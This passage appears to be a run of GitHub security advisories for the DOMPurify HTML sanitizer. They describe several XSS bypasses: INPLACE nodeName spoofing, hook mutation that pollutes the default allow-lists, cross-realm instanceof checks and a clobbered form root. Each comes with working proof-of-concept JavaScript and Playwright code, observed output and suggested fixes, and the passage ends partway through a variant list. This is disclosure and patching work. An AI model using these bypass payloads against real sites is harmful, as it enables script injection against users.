The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's INPLACE pipeline.

If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { INPLACE: true }) as its final sanitization step.

For the verified primitive below:

- the real child node is <script> - its script text is attacker-controlled - the observable nodeName is attacker-controlled and made to appear as "DIV" - sanitizeElements therefore classifies the real <script> child as an allowed element - the real <script> survives in the sanitized tree and executes on insertion

This primitive survives:

- direct reference passing - document.adoptNode(node) followed by INPLACE

It does not survive:

- importNode - cloneNode

because those paths materialize a fresh node and discard the hostile object semantics.

Proof of concept

(1) Minimal — runnable in a single browser context

html <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const foreign = window.open('about:blank', 'blank', 'noopener=no');

const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'window.pwned = 1'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script);

DOMPurify.sanitize(host, { INPLACE: true });

console.log('output:', host.outerHTML); // <div><script>window.pwned = 1</script></div>

window.pwned = 0; document.body.appendChild(host); console.log('handler fired:', window.pwned === 1); // true </script> </body></html>

(2) End-to-end — Playwright

js const { chromium } = require('playwright'); const path = require('path');

(async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.goto('about:blank'); await page.addScriptTag({ path: path.resolve('dist/purify.js') });

const result = await page.evaluate(async () => { window.hits = [];

const foreign = window.open('about:blank', 'blank', 'noopener=no'); const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'top.hits.push("script-fired")'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script);

DOMPurify.sanitize(host, { INPLACE: true }); document.body.appendChild(host);

return { version: DOMPurify.version, output: host.outerHTML, fired: window.hits.includes('script-fired'), }; });

console.log(result); await browser.close(); })();

Observed:

- Chromium / Firefox / WebKit

js { version: '3.4.6', output: '<div><script>top.hits.push("script-fired")</script></div>', fired: true }

Impact

Direct

XSS via retained real <script> nodes inside attacker-supplied live DOM objects.

Any consumer that uses DOMPurify.sanitize(node, { INPLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.

The typical pattern is:

js // attacker-controlled same-origin subcontext prepares a live node const foreignNode = attackerFrame.contentWindow.makeNode();

// host treats DOMPurify as the last security gate DOMPurify.sanitize(foreignNode, { INPLACE: true }); container.appendChild(foreignNode);

If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.

Indirect / second-order

- Applications that accept same-origin plugin / extension / widget DOM and rely on INPLACE as the final sanitization step - Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization

Suggested fix

Two minimal-risk options:

1. Stop trusting instance-visible nodeName for the element decision in INPLACE.

Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.

In other words, the main pipeline should not do:

ts const tagName = transformCaseFunc(currentNode.nodeName);

on hostile live objects.

2. Generalize hostile-node detection beyond form.

The current isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any INPLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:

- nodeName - attributes - childNodes

Either approach would close the verified primitive above.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Hook mutation of data.allowedTags / data.allowedAttributes permanently pollutes DEFAULTALLOWEDTAGS / DEFAULTALLOWEDATTR

CWE: CWE-501 (Trust Boundary Violation — hook-scoped mutation leaks to global default sets) via CWE-693 (Protection Mechanism Failure — the default allow-list is silently widened for all subsequent sanitize calls)

Summary

The data.allowedTags and data.allowedAttributes fields passed to uponSanitizeElement and uponSanitizeAttribute hooks are direct references to the library's live ALLOWEDTAGS / ALLOWEDATTR sets. For sanitize calls that don't supply an explicit cfg.ALLOWEDTAGS / cfg.ALLOWEDATTR array, those live sets are themselves direct references to the module-level DEFAULTALLOWEDTAGS / DEFAULTALLOWEDATTR constants. A hook that mutates these fields — a natural-looking pattern for "allow X for this iteration" — permanently writes new entries into the default constants for the DOMPurify instance's lifetime. Every subsequent sanitize call that doesn't override the config inherits the widened defaults, so an attacker payload that uses the poisoned tag/attribute name survives sanitization. removeAllHooks(), clearConfig(), and even passing a fresh cfg: {} do not recover; only constructing a new DOMPurify instance does.

The maintainer's existing defense at src/purify.ts:696-700 explicitly clones DEFAULTALLOWEDTAGS before mutating it via cfg.ADDTAGS (array form), demonstrating awareness of this exact class. The hook path remained uncovered.

Affected

- DOMPurify ≤ 3.4.5, including main at 7996f1dc78eb8b7922388aed75d94a9f8fad9a36 - Any application that installs a hook on uponSanitizeElement or uponSanitizeAttribute that writes to data.allowedTags[...] = true or data.allowedAttributes[...] = true and later sanitizes attacker-influenced content with default config (no explicit cfg.ALLOWEDTAGS / cfg.ALLOWEDATTR array)

Vulnerability details

[A] — data.allowedTags is a reference to ALLOWEDTAGS

src/purify.ts:1206-1209:

ts executeHooks(hooks.uponSanitizeElement, currentNode, { tagName, allowedTags: ALLOWEDTAGS, // [A] direct reference; hook mutation // mutates the very ALLOWEDTAGS the // library checks on the next element });

src/purify.ts:1494-1500 (the matching attribute hook):

ts const hookEvent = { attrName: '', attrValue: '', keepAttr: true, allowedAttributes: ALLOWEDATTR, // [A'] same pattern forceKeepAttr: undefined, };

[B] — ALLOWEDTAGS = DEFAULTALLOWEDTAGS for default-cfg sanitize calls

src/purify.ts:527-531:

ts ALLOWEDTAGS = objectHasOwnProperty(cfg, 'ALLOWEDTAGS') && arrayIsArray(cfg.ALLOWEDTAGS) ? addToSet({}, cfg.ALLOWEDTAGS, transformCaseFunc) : DEFAULTALLOWEDTAGS; // [B] reference assignment; ALLOWEDTAGS // IS the DEFAULTALLOWEDTAGS object

(The ALLOWEDATTR = DEFAULTALLOWEDATTR path at :532-536 is symmetric.)

The mismatch

A hook author who writes data.allowedTags['script'] = true reasonably expects per-call scope — the API name is "data", suggesting per-event payload. But [A] makes this a direct reference, and [B] makes that reference equal to the module-level default for the common default-cfg path. The hook's mutation therefore writes to a constant that every subsequent default-cfg sanitize call rebinds to.

The maintainer already recognized this class for the ADDTAGS array path — src/purify.ts:696-700:

ts } else if (arrayIsArray(cfg.ADDTAGS)) { if (ALLOWEDTAGS === DEFAULTALLOWEDTAGS) { ALLOWEDTAGS = clone(ALLOWEDTAGS); // explicitly clone DEFAULT before // mutating to avoid this pollution } addToSet(ALLOWEDTAGS, cfg.ADDTAGS, transformCaseFunc); }

The same defensive clone is missing from the hook code paths.

Proof of concept

js // 1) fresh DOMPurify, default config — script is blocked DOMPurify.sanitize('<svg><script>alert(1)</script></svg>'); // → "<svg></svg>"

// 2) install a hook that mutates data.allowedTags (natural-looking pattern) DOMPurify.addHook('uponSanitizeElement', (node, data) => { data.allowedTags['script'] = true; });

// 3) one sanitize call WITH the hook — script survives (expected during the hook) DOMPurify.sanitize('<svg><script>alert(1)</script></svg>'); // → "<svg><script>alert(1)</script></svg>"

// 4) remove the hook DOMPurify.removeAllHooks(); DOMPurify.clearConfig();

// 5) sanitize attacker content with default config — POLLUTION PERSISTS DOMPurify.sanitize('<svg><script>alert(1)</script></svg>'); // → "<svg><script>alert(1)</script></svg>" ← script survived without any hook

// 6) the only recovery: create a fresh DOMPurify instance const fresh = DOMPurify(window); fresh.sanitize('<svg><script>alert(1)</script></svg>'); // → "<svg></svg>" ← clean

Observed (Chromium 148.0.7778.96, DOMPurify HEAD 7996f1d):

| step | input | output | bypass? | |---|---|---|---| | 1 fresh baseline | <svg><script></script></svg> | <svg></svg> | no | | 1b fresh baseline | <a onclick=>x</a> | <a>x</a> | no | | 2 with hook (script) | <svg><script></script></svg> | <svg><script></script></svg> | yes (expected) | | 2b with hook (onclick) | <a onclick=>x</a> | <a onclick="">x</a> | yes (expected) | | 3 after removeAllHooks() | same | <svg><script></script></svg> | YES (pollution) | | 3b after removeAllHooks() | same | <a onclick="">x</a> | YES (pollution) | | 4 after clearConfig() | same | <svg><script></script></svg> | YES | | 4b after clearConfig() | same | <a onclick="">x</a> | YES | | 5 explicit restrictive cfg.ALLOWEDTAGS=['svg'] | same | <svg></svg> | no (cloned set) | | 6 back to no cfg | same | <svg><script></script></svg> | YES | | 6b back to no cfg | same | <a onclick="">x</a> | YES | | 7 fresh DOMPurify(window) instance | same | <svg></svg> | no | | 7b fresh instance | <a onclick=>x</a> | <a>x</a> | no |

Impact

Direct

Any application using DOMPurify that has any registered hook with the pattern data.allowedTags[...] = true or data.allowedAttributes[...] = true. The hook need not be designed to be permissive — it might be intended to temporarily allow a custom tag for one specific element shape. After the hook has executed even once, every subsequent default-config sanitize call carries the widened defaults, including:

- attacker content rendered via separate code paths (e.g., the same library serving a comments section and a profile bio, where the bio uses the hook and the comments use plain DOMPurify.sanitize(text)) - third-party libraries that call DOMPurify.sanitize on the same instance

The bypass survives DOMPurify.removeAllHooks() and DOMPurify.clearConfig() — the obvious "reset" calls a dev would reach for. Detection requires reading the DEFAULTALLOWEDTAGS / DEFAULTALLOWEDATTR sets directly, which are not part of the public API.

Indirect / second-order

- Editor / preview libraries that compose with DOMPurify — if any consumer registers a hook that mutates data.allowedTags, every other consumer's sanitize calls inherit the widening. - Test suites that exercise multiple sanitize configurations — once a test's hook pollutes the defaults, later tests that assume default behavior may pass with widened defaults and miss real regressions. - Long-running servers (SSR, edge functions) that reuse a single DOMPurify instance — pollution accumulates over the process lifetime.

Why the existing maintainer defense for ADDTAGS doesn't catch this

src/purify.ts:696-700 already documents awareness:

ts } else if (arrayIsArray(cfg.ADDTAGS)) { if (ALLOWEDTAGS === DEFAULTALLOWEDTAGS) { ALLOWEDTAGS = clone(ALLOWEDTAGS); } addToSet(ALLOWEDTAGS, cfg.ADDTAGS, transformCaseFunc); }

The clone-before-mutate pattern is exactly what's needed at the hook callsites (:1206-1209 and :1494-1500) but was not extended there. The new entries this report's bypass adds to the defaults survive the same way ADDTAGS array entries would have survived before that fix landed.

Suggested fix

Three minimal-impact options, in order of preference:

1. Hand the hook a defensive copy (most surgical):

ts executeHooks(hooks.uponSanitizeElement, currentNode, { tagName, allowedTags: { ...ALLOWEDTAGS }, // shallow copy; mutations stay scoped });

Doc note: "data.allowedTags is a snapshot; to widen the live set, use cfg.ADDTAGS or set the value to true in the snapshot and check the snapshot from a subsequent attribute hook." Hooks that read it for inspection still work; hooks that intended cross-call mutation must be rewritten to use a proper config path (which is the correct API anyway).

2. Clone-on-write inside the hook path, mirroring the existing ADDTAGS defense at :696-700: detect that ALLOWEDTAGS === DEFAULTALLOWEDTAGS after the hook returns, and if so, replace it with a clone for subsequent processing. This preserves the live-mutation semantics for in-call effects while preventing cross-call leakage.

3. Lazy-clone ALLOWEDTAGS/ALLOWEDATTR from defaults on first mutation: install a Proxy or accessor that triggers a clone before mutation. Largest surface area, but bulletproof.

Option (1) is the cleanest API contract: hook event objects should be event-local, never references to library-internal state.

1 / 3
Source: GitHub
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cross-realm INPLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { INPLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected

- DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created <iframe srcdoc>) and then calls DOMPurify.sanitize(foreignNode, { INPLACE: true }) against a sanitizer instance bound to a different realm

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected - INPLACE calls where the input node was created in the same realm as the DOMPurify instance

Vulnerability details

The unifying defect is that isClobbered, sanitizeShadowDOM's template-content recursion, and sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

[A] — isClobbered gates on element instanceof HTMLFormElement

src/purify.ts:1120-1140:

ts const isClobbered = function (element: Element): boolean { return ( element instanceof HTMLFormElement && // [A] realm-bound — false for any // iframe-realm <form> element (typeof element.nodeName !== 'string' || typeof element.textContent !== 'string' || typeof element.removeChild !== 'function' || !(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound typeof element.removeAttribute !== 'function' || typeof element.setAttribute !== 'function' || typeof element.namespaceURI !== 'string' || typeof element.insertBefore !== 'function' || typeof element.hasChildNodes !== 'function' || !(element.childNodes && typeof element.childNodes.length === 'number')) ); };

A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.

[B] — sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment

src/purify.ts:1660-1662:

ts while ((shadowNode = shadowIterator.nextNode())) { ... sanitizeElements(shadowNode); sanitizeAttributes(shadowNode); / Deep shadow DOM detected / if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound sanitizeShadowDOM(shadowNode.content); } }

The same check exists in the main iterator at :1861-1862:

ts if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound sanitizeShadowDOM(currentNode.content); }

For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.

[C] — sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment

src/purify.ts:1702-1712:

ts if (nodeType === NODETYPE.element) { const sr = getShadowRoot ? getShadowRoot(root) : (root as Element).shadowRoot; if (sr instanceof DocumentFragment) { // [C] realm-bound sanitizeAttachedShadowRoots(sr); sanitizeShadowDOM(sr); } }

For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.

The mismatch

DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).

Proof of concept

Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { INPLACE: true }) and verifies that handler execution succeeds on subsequent activation.

PoC 1 — cross-realm form clobbering survives

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); div.id = 'dirty'; const form = idoc.createElement('form'); form.setAttribute('onmouseover', 'window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1'); const inp = idoc.createElement('input'); inp.setAttribute('name', 'attributes'); // clobbers form.attributes form.appendChild(inp); div.appendChild(form);

DOMPurify.sanitize(div, { INPLACE: true });

window.dompurifyxss = 0; document.body.appendChild(div); form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); // window.dompurifyxss === 1 }; document.body.appendChild(iframe);

Observed (Chromium 148, DOMPurify 3.4.5, HEAD 89da34e):

json { "sanitizeError": null, "before": { "formIsMainRealmHTMLFormElement": false, "formIsForeignRealmHTMLFormElement": true, "formAttributesType": "[object HTMLInputElement]", "formAttributesEqualsInput": true }, "after": { "html": "<div id=\"dirty\"><form onmouseover=\"window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1\"><input></form></div>", "formOnmouseover": "window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1", "xssExecuted": 1 } }

PoC 2 — cross-realm <template> content is never walked

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); const tpl = idoc.createElement('template'); tpl.innerHTML = '<img src="x" onerror=' + '"window.parent.dompurifytemplatexss=(window.parent.dompurifytemplatexss||0)+1">'; div.appendChild(tpl);

DOMPurify.sanitize(div, { INPLACE: true });

window.dompurifytemplatexss = 0; const clone = idoc.importNode(tpl.content, true); document.body.appendChild(clone); // fires onerror }; document.body.appendChild(iframe);

Observed:

json { "before": { "templateIsMainRealmHTMLTemplateElement": false, "contentIsMainRealmDocumentFragment": false, "contentIsForeignRealmDocumentFragment": true }, "after": { "templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.dompurifytemplatexss=(window.parent.dompurifytemplatexss||0)+1\">", "xssExecuted": 1 } }

PoC 3 — cross-realm attached shadow root is never walked

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const host = idoc.createElement('div'); host.attachShadow({ mode: 'open' }).innerHTML = '<img src=x onerror="window.parent.dompurifyshadowxss=(window.parent.dompurifyshadowxss||0)+1"><b>safe text</b>';

DOMPurify.sanitize(host, { INPLACE: true });

window.dompurifyshadowxss = 0; document.body.appendChild(host); // shadow activates, onerror fires }; document.body.appendChild(iframe);

Observed:

json { "before": { "hostIsMainRealmElement": false, "shadowRootIsMainRealmDocumentFragment": false, "shadowRootIsForeignRealmDocumentFragment": true }, "after": { "shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.dompurifyshadowxss=(window.parent.dompurifyshadowxss||0)+1\"><b>safe text</b>", "xssExecuted": 1 } }

All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.

Impact

Direct

Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with INPLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:

- Form root attributes — onmouseover, onfocus, onclick, action="javascript:...", formaction=, target=, id= (DOM-clobbering target), and the full attribute-allowlist set, because sanitizeAttributes walks a clobbered .attributes instead of the real NamedNodeMap. - <template> content — <img onerror>, <svg><script>, <iframe srcdoc>, etc., because the inert template tree is never recursed into. - Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.

XSS triggers when the consuming code: - Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus). - Clones template content with importNode / cloneNode(true) / node.appendChild(template.content) into the live DOM. - Appends the shadow host to the live document (the shadow root becomes active and <img onerror> fires synchronously during the insertion microtask).

Indirect / second-order

- DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm <template> parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped. - Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization. - Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS / <base> / form submission, then sanitize via the main page's DOMPurify. - Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.

The known prior INPLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.

Root cause

Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for INPLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."

Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:

ts element instanceof HTMLFormElement // src/purify.ts:1122 element.attributes instanceof NamedNodeMap // src/purify.ts:1126 sr instanceof DocumentFragment // src/purify.ts:1706 currentNode.content instanceof DocumentFragment // src/purify.ts:1861 shadowNode.content instanceof DocumentFragment // src/purify.ts:1660 (approx) currentNode instanceof Element // src/purify.ts:1296 (callsite of checkValidNamespace)

Suggested fix

Use realm-independent shape checks consistently for any decision made on a node accepted from INPLACE:

1. HTMLFormElement detection — compare via the realm-independent getNodeName cached prototype getter introduced for the recent shadow-root traversal hardening:

ts const isClobbered = function (element: Element): boolean { const nn = getNodeName ? getNodeName(element) : element.nodeName; if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false; // ... rest of the typeof / cached-getter shape checks ... };

2. DocumentFragment detection — nodeType === NODETYPE.documentFragment (i.e., 11), not instanceof DocumentFragment. The check is already realm-independent because Node.nodeType is a numeric constant. Same change for the <template>-content and attached-shadow-root recursion sites.

3. NamedNodeMap detection — read element.attributes via the cached Element.prototype.attributes getter (introduce getAttributes = lookupGetter(ElementPrototype, 'attributes')) and verify nodeType === 11-style shape (length is a number, indexed [i] returns objects with .name/.value strings). Do not rely on instanceof NamedNodeMap.

4. Element detection at :1296 — replace currentNode instanceof Element with a shape check (getNodeType(currentNode) === NODETYPE.element).

The invariant the fix should encode: once INPLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

INPLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { INPLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. forceRemove silently no-ops because the root has no parent; the iterator drives on to sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed sanitizeAttachedShadowRoots walk traversal, not the main sanitizeElements / sanitizeAttributes pipeline against the iterator-root node).

Affected

- DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that does DOMPurify.sanitize(node, { INPLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns]) - INPLACE where the root is not an HTMLFormElement - INPLACE where the attacker cannot place a clobber-named child inside the root

Vulnerability details

Code paths

[A] — forceRemove at src/purify.ts:930-939:

ts const forceRemove = function (node: Node): void { arrayPush(DOMPurify.removed, { element: node }); try { // eslint-disable-next-line unicorn/prefer-dom-node-remove getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null } catch () { remove(node); // [A2] WebIDL Node.remove() — spec-defined no-op } // when the node has no parent };

When the iterator-root has no parent (the standard INPLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — sanitizeAttributes at src/purify.ts:1490-1492:

ts const sanitizeAttributes = function (currentNode: Element): void { executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

const { attributes } = currentNode;

/ Check if we have attributes; if not we might have a text node / if (!attributes || isClobbered(currentNode)) { return; // [B] silently skips ALL attribute checks } // for clobbered nodes ... };

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if isClobbered, then sanitizeElements already removed this node, so we will never reach sanitizeAttributes on it." That invariant holds for every non-root node (their forceRemove succeeds in detaching them), but fails for the iterator root in INPLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make forceRemove fail loudly on parent-less nodes (so the caller can bail out of INPLACE entirely) or have sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of sanitizeElements:

ts const nodeIterator = createNodeIterator(INPLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) { sanitizeElements(currentNode); // returns true if killed — IGNORED sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]'s skip ... }

If the return value were checked and sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently sanitizeAttributes is the only line of defense for a node that sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers isClobbered):

| name= value | property isClobbered checks | typeof on clobbered form | |---|---|---| | nodeName | typeof element.nodeName !== 'string' | object (an <INPUT>) | | setAttribute | typeof element.setAttribute !== 'function' | object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below | | namespaceURI | typeof element.namespaceURI !== 'string' | object | | insertBefore | typeof element.insertBefore !== 'function' | object | | hasChildNodes | typeof element.hasChildNodes !== 'function' | object | | childNodes | !(element.childNodes && typeof element.childNodes.length === 'number') | object — <INPUT> has no .length | | attributes | !(element.attributes instanceof NamedNodeMap) | object (an <INPUT> is not a NamedNodeMap) | | textContent | typeof element.textContent !== 'string' | object | | removeChild | typeof element.removeChild !== 'function' | object (non-callable) | | removeAttribute | typeof element.removeAttribute !== 'function' | object (non-callable) |

Any single one of the ten property names in isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept

(1) Minimal — runnable in a single browser context

html <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber);

// typeof root.nodeName === 'object' (an <INPUT> element), not 'string'. // isClobbered fires; forceRemove(root) becomes a no-op because root.parentNode === null. DOMPurify.sanitize(root, { INPLACE: true });

console.log('output:', root.outerHTML); // <form onmouseover="window.rooted = 1"><input name="nodeName"></form> // ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

document.body.appendChild(root); root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); console.log('handler fired:', window.rooted === 1); // true </script> </body></html>

(2) End-to-end — Playwright against main HEAD

js const { chromium } = require('playwright'); const path = require('path');

(async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.setContent('<!doctype html><html><body></body></html>'); await page.addScriptTag({ path: path.resolve('dist/purify.js') });

const result = await page.evaluate(() => { const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber);

DOMPurify.sanitize(root, { INPLACE: true });

document.body.appendChild(root); window.rooted = 0; root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

return { version: DOMPurify.version, output: root.outerHTML, handlerFired: window.rooted === 1, }; }); console.log(result); await browser.close(); })();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{ version: '3.4.5', output: '<form onmouseover="window.rooted = 1"><input name="nodeName"></form>', handlerFired: true }

(3) Variant matrix — six distinct clobber-target properties

Every property name in isClobbered's typeof checklist works as the bypass trigger:

